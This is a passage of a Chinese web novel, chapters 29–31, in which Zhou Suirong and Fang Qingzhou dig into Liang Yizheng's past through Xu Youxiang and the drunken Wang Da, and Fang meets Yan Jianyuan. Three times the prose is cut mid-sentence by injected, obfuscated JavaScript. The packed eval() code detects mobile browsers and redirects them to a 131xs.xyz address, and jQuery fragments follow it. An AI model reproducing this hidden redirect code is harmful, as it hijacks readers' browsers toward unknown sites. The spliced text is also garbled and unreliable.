“就是死了!”许游翔双目猩红,模样有些魔怔,说得斩钉截铁,“那小孩儿打他的时候不满十二周岁,他爸再硬的手段,也判不了那孩子的刑,梁益正怎么可能甘心?当天晚上那小孩全家一起失踪,从此人间蒸发,甚至连学籍都不要了,有必要吗?这事儿说出来你们信吗?!”
周随容跟方清昼暗暗对视一眼。
方清昼稍作思忖,摇头道:“没有尸体,就没有证据。可能是警方为了降低影响,让他改名,帮他转学了。这种事情不会告诉你们。”
她每一句话都让许游翔愤怒,如同火堆上浇下的冷油,他激动地道:“证据?他爸是谁?能让你拿到证据?没有证据就是最大的证据!”
29.二更
许游翔对世界的看法是悲观而黑暗的。长期无法纾解的愤郁,让他的观点带着难以扭正的偏激。
这种来自现实经历的伤痕,无法靠空虚的言语来治愈。也无法准确判断它是否真实。
周随容背对着方清昼,朝许游翔低声道:“我相信你。市井小民遇上事儿能有多难,他们这些社会精英不懂。”
许游翔的脸上交织着愤怒跟凄凉,不过最后都转换成了对自己无能为力的沮丧。
周随容跟他同仇敌忾:“但我不信有人能那么只手遮天。他要还敢找人弄你,你可以找我。”
许游翔瞅他一眼,不是想打击他,说了句残酷的实话:“你能干什么?你只会拍照啊。”
周随容:“……”
“什么叫我只会拍照?”周随容好气又好笑,“你当我身上的肌肉是摆设?”
许游翔含糊地说:“你别自找麻烦了。”
“我也是为了我弟,他不看清梁益正的真面目,是不会跟我回去的。”周随容愁苦地挠了挠眉毛,不经意地打听,“你是做了什么,梁益正恨不得要你死?还是他单纯看你不顺眼?”
许游翔对他们是警惕的。
哪怕对周随容有一定的信任,也不认为他会为了毫不相关的自己,去得罪根深蒂固的梁益正。
许游翔扯了扯衣摆,顾左右而言它:“我的片子应该出来了,我过去拿。你们别跟过来了。”
他说着快步要走,方清昼拿出手机道:“我给你赔点钱吧。你受伤了不好工作。”
许游翔回过头,对她还有怨怼,怒气冲冲地说了句:“不用!”
周随容追上去,抓着他的手臂,劝说:“收啊,干嘛不收?你身上还有钱吗?”
许游翔面上几番纠结,最后硬气地回绝:“不收!我又不是碰瓷的!”
“傻吗你?她用棍子吓到你,你才撞墙上了。她赔你是理所应当,怎么叫碰瓷?你以为她缺钱?”周随容拍了下他胸口,说着主动去摸他口袋里的手机,对准他的脸面容解锁,然后轻车熟路地打开二维码,加上方清昼跟自己的好友。
许游翔被说服,只是拉不下脸,任由他操作。余光瞥到他点了收款,脸色臊得有些发红,浑身僵直地站立,等他把手机放回口袋,讷讷说了句“谢谢”,埋头大步流星地走了。
线索不够充分,二人默契地没有对许游翔的描述发表评价。
折腾半天,时间不觉到了傍晚。
天空犹如一块巨大的灰色幕布,前景中高楼里亮起零星的灯光。
周随容的车还停在许游翔家附近。他到医院门口打了辆出租,直接开到临时停车的街区。
这一片附近没什么行人,两个人的影子斜斜投在平整石砖上。
周随容想了想,说:“我喊王达出来再聊聊?他对梁益正的事情应该知道不少。”
方清昼正在查梁益正公司的资料,闻言赞同道:“好。”
周随容便拿出手机拨了过去。
对面很快接通。
“喂?”
“王哥,你怎么样?没事吧?”
“你小子居然还记得我?”王达惊喜,紧跟着神气洋洋地道,“能有什么事?警察叫我过去问了几句话,灰溜溜地把我放了。哈哈!”
周随容问:“你现在有空吗?要不一起出来吃个饭?我请客,当是给你去去晦气了。”
王达:“你小子够意思啊。但是你不用陪你那个老板?”
“她被尸体吓到了,今天没什么精神,一直待在房间里休息。我就是闲着无聊,才喊你出来。”周随容说,“你定地方,我马上过去。”
王达全然不记得自己昨天冷汗直冒、两股战战的缩瑟样,大笑着说:“女人就是胆小。”
两人定好时间地点,周随容挂断电话,瞅一眼时间,说:“我先送你回酒店,给你点个外卖,你今晚自己吃饭。得吃啊,回来我检查。”
岂料方清昼果决地说:“我跟你一起去。”
周随容古怪地道:“你跟着我干什么?你不是最讨厌这种面朋口友的社交应酬?”
王达那人犯起浑来嘴上不干不净,喜好恶意揣测,周随容不喜欢听别人对方清昼评头论足,放在心底的腹诽也不可以,毕竟王达在猥琐方面的表达上天赋过人,有一双能说话的眼睛。
上次在别墅,王达的视线就跟狗皮膏药似地一直贴过去,周随容觉得万分恶心。
周随容劝说:“你一出现,主角就成你了,我们大部分话题不好展开。”
方清昼说:“我可以在车上等你。”
跟讨厌的人社交,在方清昼的标准里是“深恶痛疾”的程度。甚至远低于当年被她导师要求去帮忙指导本科毕业论文。
周随容定定看了她几秒,忽然展颜笑道:“这么黏我啊?方清昼。”
他不怀好意地靠近,把方清昼压在车身上。为了在昏暗的光线中看清她的脸,近得快要贴上她的鼻尖。
偏还装得侃然正色,严肃地问:“说起来有件事,我昨天晚上看了眼我的银行账户,我怎么那么有钱?是我工作多年的回报吗?不会是你在偷偷包养我吧?”
周随容的工资卡在办完的第二天就丢失在某个柜子里不知所踪,账号密码告诉过方清昼,便不怎么关注自己的财务状况。
昨晚他想看看代玩小方的手气究竟有多差,一共充了多少钱,特意升级了那个早已停用的app,结果被里面的一串长数字惊得一个鲤鱼打挺坐起来。
路边的灯在此时亮了起来,暖黄的光线照亮他英俊的侧脸。
方清昼盯着他被光线拉得纤长的睫毛,问:“……你不会看转账明细吗?”
周随容无赖地道:“我不要看。天上掉钱,我捡到了还要去溯源吗?”
方清昼头回遇到这么厚颜无耻的借口,一时无话可说。
周随容将她的沉默当成了被点破谎言后的尴尬,严肃地按掉屏幕,一脸看破真相的智慧道:“好,我知道我们为什么会分手了。因为你试图用不健康的方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459677|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
式对待我们之间的关系。我选择拒绝,全身心地投入工作,缩小我们之间的距离,你因此感到寂寞……”
到后面他的想象力彻底没有了限制,自我发挥到了另外一个境界,沉溺于狗血之中。
“你决定跟我分手,我不同意,为了挽回这段感情,我偏激之下以死相逼,结果不小心失手,割得太重,被送进医院急救。”
方清昼的表情从愕然到呆滞,听到后面不知该作什么反应,呈现一片空白,淡淡地别过脸。
周随容捏着她的下巴把她掰回来,强迫她把注意力放在自己身上,继续绘声绘色地讲着他离谱的故事:“或者是你在分手之后,依旧对我恋恋不忘,为了尽快忘记我疗愈情伤,你找了个新男友,结果交往得不顺利,反而更加怀念我的成熟稳重,你追悔莫及,找我复合,希望我能回心转意。你的新男友因为嫉妒把矛头转向我,来找我实行打击报复……”
他把自己都给说笑了,还恶意地撞了下她的腿,逼她发表感言:“说话啊,方清昼。”
方清昼张了张嘴,发出一句深长的感叹:“哇……你的精神世界还是那么的丰富精彩。”
周随容忍笑忍得肩膀颤动,顺势靠在她的身上。
方清昼问:“这是你在病房里想出的画面吗?”
“是啊,躺着不能动,每天都在想你。”周随容摸了摸脖子上的伤口,嘴唇贴到了她的耳朵,“想你怎么抛弃我。”
他不敢找陆盛兴,或者方清昼追问多一个字的细节。现实混沌不清,他才可以做梦。越是荒唐的猜想,越能让他生出侥幸。每天靠着那点微末而虚妄的希望让自己睁开双眼,渡过煎熬的、苍白的时间。
出院也不敢去找方清昼,怕她足够狠心,连让他自我欺骗的余地也不给。他没有方清昼的冷静跟坚强,接受不了这样毫无征兆地失去她的爱意。
方清昼语调上扬地复述:“然后我恋恋不忘,追悔莫及,找你复合?”
周随容见她竟有质疑,搭在她腰间的手威胁性地揉捏了下:“你就说,是不是你先来找我的?”
方清昼只能忍气吞声地认下:“是我。”
周随容观察她的表情,嘀咕道:“我受伤真的不是因为感情纠纷?”
可是没别的原因了吧?他这么钢筋铁骨一样的男人。
周随容一瞬不瞬地盯着方清昼,说:“是你要跟我分手的。”
方清昼推了他一下:“成熟稳重呢?小周。”
周随容又猜:“是我提的分手。”
方清昼镇定地说:“你接着猜。”
周随容却不知道凭什么断定,惊愕道:“是我?”
方清昼僵了下。
周随容皱着眉,出神地思索,方清昼的拇指擦过他湿润的嘴唇。
周随容低头,没再管那些乱七八糟的,对着她笑,想要亲吻,身后传来某个路人响亮的两声:“咳咳!”
周随容这才意识到附近还有别人,尴尬地后退,拉开车门把方清昼塞了进去。
30.离间
周随容将车驶入城市的霓虹灯火中,身上还弥留着一股无处发散的热意,半晌才在空调的冷风中压抑住心头的毛躁,听到来自右手边的均匀的、平缓的呼吸。
方清昼一路忙着跟什么人发送信息,对方没有回她,界面中是一排绿色的文字条。
她素白的脸庞在路灯流动的光线下时明时暗,聚精会神地打字,发送前逐字逐句地斟酌,如同在做深奥的研究,俨然已沉迷于这场离奇的角色扮演游戏。
不久后,周随容的手机接连收到来自许游翔的呼唤。
周随容只看到一连串的未读提示,猜到这两人正在努力进行全障碍交流,不由想笑。
王达约他见面的地方是一家炒菜馆,离得不远,入夜后路边可以随意停车。
周随容幸运找到了一个视野开阔的空位,拿起手机查看聊天记录。
许游翔:你那个老板怎么回事啊?拜托你让她不要找我聊天了!
许游翔:她为什么要对我死缠烂打?她那么在意别人的观点吗?
许游翔:你告诉她,她不相信就算了,我没有非要她相信!
许游翔:我还没回她,在装没看见,你别把我卖了。
周随容把手机立到方清昼眼前,让她检阅自己精神攻击的威力。
方清昼对效果表示满意,给他汇报自己的进度:“我向许游翔发送了四十二条信息,以表示对他愤世嫉俗的不认可。让他拿出切实的证据证明他口头指控的真实性。他刚收了我的钱,虽然厌烦我的胡搅蛮缠,但不好意思将我拉黑。你可以借机跟他谈心。
“顺便我给他找了一位律师,你记得让他通过好友。被人灌酒险些致死这种事情为什么不告?另外我建议你利用这个恐吓一下王达。根据他的表现,他大概率是个法盲。”
周随容见她一脸郑重其事的模样,又想笑,说:“你考虑得真是周到。”
依言给对面回复。
周随容:许哥,我老板的个性你今天亲自见识过了。犟,清高,不通人情,我也劝不了她。刚才还在跟我唠叨呢,这会儿正在气头上。
周随容:不过她没有坏心,只是从小顺利得不可思议,没机会接触到普通人的恶意,太过天真,有点任性。
周随容:她是不是给你介绍了一个律师?她会付钱,你干脆接受她的好意,给律师发一下病历或者别的材料。运气好的话说不定能多拿一笔赔偿。
许游翔:餐厅不会提供监控的,他们也不可能承认,咬死了是意外怎么办?而且他们已经承担了我的医药费,还需要打什么官司吗?
周随容:街上会有监控,餐厅的服务员有眼睛,专业人士取证的方式比你想象的全面,你告诉他们经过,他们会帮忙想对策。关键是能给王达和梁益正找点不痛快,还不用你花钱,你拒绝什么?
周随容:实在不行的话律师会跟她说明,你不用自己和她吵。
周随容没有避讳,方清昼便侧着身,全程旁观二人交流。看到这里,默默收回视线,说了一句:“这没什么。本色出演。”
方清昼将脸撇向窗外,揣着自知之明说:“我知道你们刚认识我的时候,也会这样在背地里偷偷说我。”
周随容为她抛却道德哄骗许游翔,功劳没捞到,还要蒙受这样的无妄之灾,登时委屈道:“你要给我造谣了吗?方清昼。你要是哪天主动给我发那么多消息,我得从早上开始就找座山虔诚拜一拜。”
方清昼转过头,似乎在评估他话中的诚意。
周随容说:“方学姐,你的人设有缺点,总是逼我跟别人说你坏话,我觉得不合适。”
方清昼问:“那你想怎么办?”
周随容把手机放下,解开安全带,朝她招招手。
方清昼没有戒备地倾斜身体靠过去。
周随容的手机震动起来,应该是王达等不到他,来电催促。
周随容轻扫一眼,没有理会,抬手拨了拨方清昼额前的头发,眼中笑意闪动,将手指穿进她的发丝,按着她的后脑拉进到身前,贴近她柔软的嘴唇,开始热情、绵长而温柔的亲吻。
方清昼的手没有着力点,下意识挥了下,不慎把周随容的手机打落。
震动的手机不知道滑到了哪里,发出更为明显的动静。
方清昼目光下掠,但只能看见周随容高挺的鼻梁,和暗得深沉的眼睛。
周随容适时抓住她无措的手,引导她按在自己胸口。
他呼吸的起伏、血液的流动、升高的体温,都通过触觉情绪传递给方清昼。
握着她的那只手越加用力,仿佛这样能让他们的距离更近,关系更紧密。
片刻后意识到自己力道的失控,才缓缓放松,拇指一下下来回摩挲着方清昼的手腕,皮肤温度烫得惊人。
手机停止了几秒,又锲而不舍地开始新一轮的震动。
周随容眷恋不舍地分开,弯腰捡起手机,看也没看,直接挂断。看着方清昼湿润的嘴角,清纯的眼神,感觉车厢内的气息甜得让人头脑发昏。
他觉得有必要跟方清昼明确一下复合的事项,但背景中绝对不能有王达的影子存在。他不免后悔在今晚约这么个讨厌的人出来。
周随容平缓了下过速的呼吸,眸光炙热地对她笑说:“亲我一下好吗,宝贝。”
方清昼:“……”
这会儿才问,那么刚才亲她的是狗,是吗?
方清昼没有拒绝,凑近过去。
周随容明显变得亢奋,拽着她想要加深这个吻。
方清昼怕手机又响起来,很快结束后退,用手稍稍挡了下他。
周随容失望说:“不想去。”
方清昼催促:“快点去。”
周随容深深看了她好一会儿,才把快要生根的眼神强行拉扯回来,推开车门道:“那我走了。你先去附近找个地方坐,结束的时候我给你打电话。”
·
餐厅前面的空地杂乱铺开几排桌椅,夜市人声鼎沸,缭绕着浓郁的烟火气。
王达坐在靠近马路的一张小桌边,手指点着屏幕,不断重复拨号的行为。又一次忙音提示传来,他恼火地一捶桌面,不耐抬头,就见联系不上的周随容正顾盼神飞地朝他走过来。
跟刚从展台下来似的,几步路走得器宇轩昂,脸上是灼目的明媚和光彩,眉梢间的喜悦几乎藏不住。
王达骂人的话一时给忘了,等他在对面坐下,抱怨道:“给你这混蛋打几个电话了都不接,还以为你不来了。”
周随容说:“刚才在停车。”
王达往他手里塞了个瓶子,看不过眼地问:“你小子发生什么好事了?中彩票了啊?”
“没有。”周随容就着瓶子喝了一口,没尝出什么味道,只觉得温热的胸腔跟温泉一样冒着小泡,正色道,“我决定跟方清昼发展到下一步。”
王达还记得他们两个腻歪的样子,不信他们谁追谁的糊弄鬼的那套,闻言诧异道:“啊?你们不会要结婚了吧?!”
周随容听到这两个字,思绪又开始发散,手肘搭着桌面,低低闷笑两声。
王达一看他这反应,信以为真,感觉人性黑暗面都被逼出来了,一刹那涌现出来的没有祝福,全是尖酸。在心里暗骂:靠,真让这小白脸给勾搭上位了?
这牲口命怎么就那么好?!
周随容喝的时候没注意王达给他递的是什么,这会儿快喝到瓶底了才发现是啤酒。反正不能开车了,索性又开了一瓶。
“点了什么菜?”
王达说:“别点了,待会儿梁益正也过来,直接换个地方吃饭。”
“他来干什么?”周随容当即黑着脸,“不换,大网红还吃不了路边摊了?”
王达用一种难以言喻的表情道:“你对他意见那么大?”
昨天当众让喝酒还不是乖乖地喝了?现在有人撑腰,脾气倒是迎风见长,大了一圈。
周随容尖锐地讽刺道:“我是看不惯他的为人。早知道他那么无耻下作,昨天我就不会给他好脸色。我今晚特意喊你出来,也是想提醒你一句,别让人当替死鬼害了,还巴巴地拿人家当兄弟。”
王达听得云里雾里:“怎么说?你知道点什么?”
“你以为警察那么简单就放你回来,是因为梁益正帮你走动了?”周随容嗤笑道,“那你猜他今天为什么约你出来。”
王达急道:“你小子有话就直说,跟我卖什么关子?”
周随容说:“梁益正找你,是为了打探消息,问问你跟警察说了什么,会不会给他带来麻烦。他心里慌张得很,跟你没什么两样。你能出来,是因为许游翔没死,警察没理由押着你。”
王达心中怀疑居多:“你怎么知道?”
周随容笑了下,喝了口酒道:“我碰到许游翔了。那天从别墅出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470768|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他主动找到我们,给我们看了他的病历,说他被梁益正害得送进医院,差点没命。你是帮凶。对吧?”
王达不吭声。
周随容手指敲了敲,示意他靠近,与他耳语道:“许游翔一身的穷酸样,摸遍口袋估计都掏不出几个钢镚儿,可是他当时身边跟着个西装革履的律师,说是什么公益项目?要免费帮他打官司。我查了下那个律师的资历,来头不小,怎么可能忽然做慈善,帮许游翔打那么无聊的案子?摆明了是有人特意花高价请的他。再加上别墅外面那具身份不明的死尸,梁益正是惹上大麻烦了。”
王达被他说得浑身发毛,好像屁股底下坐的不是凳子,而是冰块。凉意顺着晚风,丝丝缕缕地往上冒。
他无端打了个寒颤,强颜欢笑道:“许游翔的话你也信?”
周随容不温不火的语调尤其耐人寻味:“梁益正会冒着杀人的风险针对许游翔,就让我觉得百思不解。回酒店后我琢磨了一阵,这才回过味儿来。王哥,你想啊,高中生之间能结下什么大仇怨?凭梁益正在学校的声望,没被许游翔占过便宜吧?许游翔才是受欺负的那个。十几年过去他更惨了,以他如今的处境,连梁益正的公司大门都进不去,梁益正有什么好放不下的?至于把这种逗趣解闷的对象放在心里吗?专门挑着结婚前的时间,沾这晦气,触个霉头?不管怎么说,只有许游翔跟他过不去的份儿吧?
“这回梁益正为什么非要把许游翔往死里弄?他是个大网红,不怕许游翔狗急跳墙,跟他同归于尽?说明许游翔手里可能有什么东西,真威胁到他了。”
周随容说到紧要处停了下来,喝了两口酒,一脸高深莫测地看着王达,给他反应的时间。
王达感觉他黢黑的瞳孔有种别样的冷意,大脑跟被冻住了一般,要花费成倍的时间思考,周围的人声都被拉远了,有瞬间是令人心悸的死寂。
他喉结滚动着,听到自己尾音打飘地说:“他爸可是……”
周随容抢白道:“他爸是前副市长,前市局局长,我知道,许游翔说了。可是他爸退休了啊。人走茶凉的故事你听得少吗?何况干公安的本来就容易得罪人,你怎么确认,这次出手的,是因为他爸,还是他自己?不管是因为什么,王哥,我们这样的人都得罪不起。”
周随容:“我看不惯的也是这一点。如果梁益正是为了毁灭证据,那性质可就完全不一样了。那是明晃晃的故意伤害甚至杀人未遂。警方目前没有立案是证据不充分,以后可不好说。他首尾处理不干净,留下一堆把柄,自己却全程不出面,把破事儿推给你——对了,你收他钱了吗?”
王达听到自己心理防线轰然溃败的声音,连伪装强撑都无法做到,赤急白脸地道:“我收个屁钱!我只是打了通电话,关我什么事?!”
“到时候就不是你说了算的。”周随容冷笑,“他利用你们两个人的交情,让你帮他干脏事。一分钱都不给,遛你遛得团团转。我没看出他有什么本事,倒是看出他够恶毒。”
周随容拿出手机,点进一个人的朋友圈,递给王达说:“这就是许游翔找的律师。我就是从他这里嗅出一点儿门道。王哥,你自己也小心着吧。”
律师最新的一条朋友圈就发表在五分钟前,配文是:这群人简直无法无天,不知道是要钱不要命,还是纯法盲。
下方是一张打了码的照片。
王达两指放大图片,认出这是许游翔的病历。
他接着往下翻阅,透过对方各种日常生活的记录、工作合照、阶段感言,足以看出这个律师经济条件优渥,且资历丰富。绝对不是许游翔能负担得起的对象。
王达两眼空洞,理智浮荡,后知后觉的恐慌如芒刺在背,密密麻麻地涌现出来,寒意瞬间遍布全身,牙关打颤着絮叨:“不、不会吧?我就是打了个电话,怎么也赖不到我头上吧?”
·
方清昼远远观察,见两人说到一半,周随容突然把手机递了过去,顿时紧张地坐正。
她一手按在开门的位置,眼睛直勾勾地注视,犹豫要不要下去,车窗被人轻轻叩了三下。
方清昼转过视角,看到一张不算熟悉的脸。
她降下车窗,外间的暖风冲撞着吹了进来,拂起对方额前的碎发,露出一张清冷俊秀的脸。
男人微微弯下腰,鼻梁跟眉骨在脸上垂落出清晰的阴影,温声笑道:“好久不见,方清昼。”
31.会面
“严见远?”
方清昼叫出他的名字,视线瞥过他身后两个高大壮硕的保镖,顿了顿,不掩讶异地问,“严总,你也在B市?”
两人上次见面要追溯到五年前,严见远来找他们工作室谈一款产品的代理权,签完合同后双方一起吃了顿饭,此外再没什么交集。
严见远侧身后退,给她留出下车的空间,温文尔雅地问:“不介意的话,一起喝杯茶吗?”
·
二楼临街的包间。
热水冲泡进玻璃壶,黄昏的光线叠着轻云似上扬的白烟,氤氲得朦朦胧胧,让桌案两端的人有种不真切的渺茫。
“我今天中午刚到B市。”严见远将杯子摆到方清昼面前,低垂着视线说,“我小时候在这里住过一段时间。这次恰巧有机会,顺便回来看看。”
方清昼礼尚往来地回了句:“我是前两天到的。”
她对喝茶这种缺乏效率的雅兴没有欣赏能力,礼貌性地端起来抿了一口,用小程序给自己叫了碗鸡汤米线。
随后放下手机,跟严见远四目相对。
这是一场略显怪异的会面。好在方清昼对环境的适应性极强,鲜少因为外部的氛围而感到生涩或困窘,可以老成练达地应对各种复杂的境况。
方清昼说:“我在国内刷到过你们公司的相关报道,都是正面内容。恭喜你。”
严见远出众的外貌与文雅的气质,初见时会给人一种毫无攻击性的错觉,与之相悖的是他锋芒毕露的才干。这种兼具柔与刚的矛盾特性,以及他颇有传奇色彩的跌宕经历,给他创造了近乎无孔不入的话题度。
哪怕彼此生活毫不相干,方清昼也偶尔能听身边人谈及跟他有关的新闻,知道他在Y国的事业开拓得相当成功。
不过陆盛兴一直坚定认为他进行过大范围的营销,以此来掩盖他创业初期使用过的不正当手段——比如抄袭了某款陆盛兴最喜欢的冷门游戏。
严见远听她一板一眼的祝贺,笑说:“你还是这么不会聊天。”
方清昼回忆了遍他们上次见面时的细节:因为一同用餐的人很多,不需要她来活跃气氛,两人全程只进行了几句简短的交流。
严见远无意提及他的一个朋友患有严重的心理疾病,听说现在可以用接入脑机进行电刺激的方法来治疗,询问她的意见。
方清昼表示这不是她的主攻方向。她以前跟着导师研究过大脑信息的解读和加密,不过主要是针对瘫痪或重度残疾的患者。至于精神疾病的治疗,根据她的了解,理论上可行,且有团队做出了可观成果,但是要到临床跟推行的阶段,还需要一定的时间。
方清昼关心问了一句:“你那位生病的朋友怎么样了?”
严见远即便是笑起来,眉宇间也有种郁郁寡欢的神色。他手指捏着纤薄的杯沿,恍惚一阵才领会到她这没头没尾的“朋友”指的是谁,无所用心地说:“可能好多了。”
方清昼:“可能?”
严见远松散的袖口在动作中滑落下去,露出小臂上一条蜈蚣似蜿蜒的伤疤。他浑然未觉,方清昼的视线已被吸引过去。
方清昼盯着瞧了两三秒,又问:“你平时也要穿西装跟衬衫吗?”
严见远中途已察觉到她堪称冒昧的注视,慢条斯理地卷上一小截袖口,露出伤疤的全貌,说:“习惯了。”
那道疤经年累月,表面已趋于平整,仅留下微微的色差跟厚重的皮肤质感。
严见远把袖子重新放下,流露出既有怀念,又掺杂着凄怆的情感,说:“这道疤是我小时候不听话,在家里闹脾气捣乱,撞翻一个金属摆件被砸伤留下的。我不觉得有什么,但我母亲一直为此感到愧疚,觉得没有照顾好我。所以即便到了夏天,我也不敢穿短袖,怕她看到会伤心。”
方清昼迟钝得像块木头,对此无动于衷,只是问:“你爸爸呢?”
严见远笑道:“他是个粗野豪放的人,不在乎这种小伤,自己做事也没轻没重,我母亲说他是个野人,为此经常跟他吵架。”
严见远说话时,一般不会长久平直地注视对方的眼睛,避免四目交接,给人留出一段松弛舒适的心理空间。描述到这段过往时,偏浅的瞳孔却始终凝在方清昼的脸上。
深微婉曲的眼神,仿佛藏着种幽冷执拗的迫切,在等待聆听者的回答。
方清昼垂眸看着自己的手,十指指尖相抵,面色如常地说:“后来你们移民Y国了?”
严见远黯然道:“不,我初中的时候母亲病逝,没多久父亲跟着离开,留下我一个人。我家里没什么亲戚,最后不得不跟着一位长辈去Y国生活。对方手头拮据,与我相处不来。过了一段寄人篱下的日子,我尝试依靠网络赚钱,运气比较好,很快实现了经济独立,这才步入正轨。”
方清昼舔了舔嘴唇,有些口干舌燥,端起桌上冷却的茶水喝了一口,寡淡地“嗯”了一声。
壶里的水在不停地沸滚,破裂开一个又一个气泡。窗外是汽车的鸣笛,被堵住的人急躁地按动喇叭,发出一声声短促的,让人心脏发紧的噪音。
严见远声线依旧平坦,歉意地道:“你是我见到第一个给出这样反应的人。是我提了个让你感到无趣的话题吗?”
“不是,我只是以为一个人在说谎的时候,是不希望被戳穿的。”
方清昼回视他的目光,顷刻又移开,把杯子放回桌上的动作发出轻微的响声,敲碎了空气里残留的温馨、和睦跟幻想。
方清昼问:“我不理解,这就是你心目中的美满家庭吗?”
门外跟着传来“笃笃”的叩响,推拉门的滚轮发出刺耳的叫声。
服务生带着迥然不同的火热,端着米线走进来:“给您上菜!”
·
浓油赤酱的炒菜相继裹着热气被送上桌,香味随着白烟蒸腾弥漫,可惜王达满脑子被忧虑塞满,只顾握着个啤酒瓶满脸苦大仇深地思索。
周随容碰了下他的瓶子,仰头喝酒,一面搭住他的肩膀耐心开解道:“王哥,事情也不是没有转圜余地,我是为了跟你分析一下利害关系,故意说得夸张了点,免得你越陷越深。再掺和下去,你可能真要帮那姓梁的蹲牢子了。我建议你赶紧找许游翔谈一谈,看能不能私底下和解。”
王达焦头烂额地翻了半天,找到许游翔的账号,给对面发了个表情包,气得直眉楞眼地道:“许游翔把我拉黑了啊!”
周随容忍住笑,跟着咂舌道:“那怎么办?他怎么那么记仇啊?”
王达转头看他,属实是病急乱投医了:“你帮哥跟他说说情?”
周随容忙推拒:“我怎么帮你说情啊?我就听了个一言半语,都不知道你们几个之间究竟有什么过节。许游翔那边的请求我也推了,省得给方清昼惹麻烦。你还喝吗?”
王达菜没吃上两口,空酒瓶已经撂了一地,他想借酒壮胆,打开话匣子,一个劲地猛喝,旋即对着周随容故作神秘地问:“你知道梁益正眼睛被人打瞎那事儿吧?”
周随容不明所以地点头:“知道啊。”
王达打了个酒嗝,跟他靠得更近了点:“你怎么看?”
周随容犹豫了下,压低嗓子跟他说:“王哥,不是我心理阴暗,非要无中生有给他泼脏水。我回去重新翻看了梁益正提到这件事的几段视频,怎么分析怎么觉得不对劲。
“你说一般人在描述被伤害的场景时,多少会形容两句对方怎么凶狠怎么残暴吧?时间隔得越久,那种惊惧跟憎恶的情绪占比越大。可他每次说起这件事,会把重点放在对方发了疯一样拿石头砸他,砸破他的眼球,血飙出来,他反应不过来。那个叙述视角给我一种,嘶,他在俯视猎物的感觉,字里行间带着的是愤怒跟不敢置信。你明白我的意思吗?”
王达用力拍打他的手臂,面色被酒精跟激昂的情绪快速催红,双眼蒙着水雾,使劲点头,一幅引为知己的表情。
“不止你一个!”王达大发牢骚,“你看这次为梁益正开的同学会,一共才来几个男的,里面有两个还是他工作室的助理。班上但凡有能力离开B市发展的,谁稀罕跟他接触。也怪我鬼迷心窍,想蹭他的热度,才沾上这么个倒霉事。晦气到头了。”
王达又开了瓶酒,往嘴里塞了几筷子炒牛肉,清了清嗓子,含混地说:“许游翔怎么得罪梁益正的?他知道内情,听学校里的人给梁益正捧臭脚,没管住嘴,把事情说出来了。”
周随容奇道:“许游翔知道什么内情?我感觉他神经兮兮的。”
王达说:“他跟打人的那个是一个村的啊!两个人差不多大,小时候会玩到一块儿。那个人叫什么来着?反正也姓许,他们村半数以上的都姓许。多多少少沾亲带故,往上数个三四代说不定是一家人。”
“那谁家里就两口人,他跟他爸。他妈早跑了,他爸对他也不好。许游翔说那小子长得好看,跟他爸没一个地方相似。村里人喜欢背后说闲话,他爸天天被戳着脊梁骨说头上戴了绿帽,时间一长,也怀疑他不是自己亲生的,动辄打骂。挺造孽的。”
周随容听得入神,不时应和几声。
王达酒劲上来了,浑身都在发热,双眼迷蒙,说得绘声绘色:“那个谁把梁益正打瞎以后,当天晚上,他们学校的老师领着派出所的民警,一起去他家里找人。那几个人肯定旁敲侧击了点什么,许游翔说,半个村的人都听到了小许的惨叫,他爸为了赔罪,把人摁住,生生往死里打,一点不手软
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498056|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。夜里下雨,那动静也没盖过去。许游翔怕得睡不着,半夜摸出来,躲在他们家墙角偷看,等没声音了,准备回去,就看到白天出现过的民警,从他们家鬼鬼祟祟地跑出来。从此以后,再没人见过姓许的父子俩。两个人就跟被那天的雨水冲走一样,销声匿迹了。”
周随容听得神色凝重,脸上那点故作的嬉笑也消失得无影无踪,面沉如水地问:“许游翔说他亲眼看到警察出来了?他以前怎么不说?还是说了没人调查?”
王达摇头晃脑,恶意十足地道:“我怎么知道?我哪问那么细?何况当时许游翔就一毛头小孩儿,就算真说出来,谁当回事?当一回事,谁敢往深里查?人情社会,手段多着呢。”
周随容问:“许游翔什么时候告诉你的?”
王达嘟囔着道:“我不是为了勾他出来嘛,编了点料说打算起诉梁益正。他没脑子,三两下把真话全掏出来了。”
周随容说:“刚说的啊?过去二十来年了,也许是心结作祟。人的记忆不一定是真实的。”
王达脸红脖子粗地拍桌喊:“你看,连你都不相信!他说出来也是浪费口水。”
王达的手机震了起来,他余光瞥去,看清屏幕上标注着的来电人姓名,气不打一处来,醉意被熊熊的怒火压过,破口大骂道:“梁益正他大爷的还敢给我打电话?”
